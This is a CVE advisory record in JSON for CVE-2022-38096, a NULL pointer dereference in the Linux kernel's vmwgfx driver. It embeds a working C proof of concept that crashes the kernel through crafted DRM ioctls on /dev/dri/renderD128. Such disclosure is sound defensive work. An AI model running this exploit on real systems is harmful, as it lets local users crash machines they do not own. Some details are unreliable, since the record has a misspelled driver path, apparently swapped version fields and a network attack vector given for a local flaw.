{
    "CVE_data_meta": {
        "AKA": "Anolis",
        "ASSIGNER": "security@openanolis.org",
        "DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
        "ID": "CVE-2022-38096",
        "STATE": "PUBLIC",
        "TITLE": "There is a NULL pointer vulnerability in vmwgfx driver"
    },
    "affects": {
        "vendor": {
            "vendor_data": [
                {
                    "product": {
                        "product_data": [
                            {
                                "product_name": "kernel",
                                "version": {
                                    "version_data": [
                                        {
                                            "version_affected": ">=",
                                            "version_name": "5.13.0-52",
                                            "version_value": "v4.20-rc1"
                                        }
                                    ]
                                }
                            }
                        ]
                    },
                    "vendor_name": "Linux"
                }
            ]
        }
    },
    "credit": [
        {
            "lang": "eng",
            "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
    ],
    "data_format": "MITRE",
    "data_type": "CVE",
    "data_version": "4.0",
    "description": {
        "description_data": [
            {
                "lang": "eng",
                "value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
            }
        ]
    },
    "exploit": [
        {
            "lang": "eng",
            "value": "#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){  \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}\n  \n"
        }
    ],
    "generator": {
        "engine": "Vulnogram 0.0.9"
    },
    "impact": {
        "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
        }
    },
    "problemtype": {
        "problemtype_data": [
            {
                "description": [
                    {
                        "lang": "eng",
                        "value": "CWE-476 NULL Pointer Dereference"
                    }
                ]
            }
        ]
    },
    "references": {
        "reference_data": [
            {
                "refsource": "MISC",
                "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073",
                "name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
            }
        ]
    },
    "source": {
        "defect": [
            "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        ],
        "discovery": "INTERNAL"
    }
}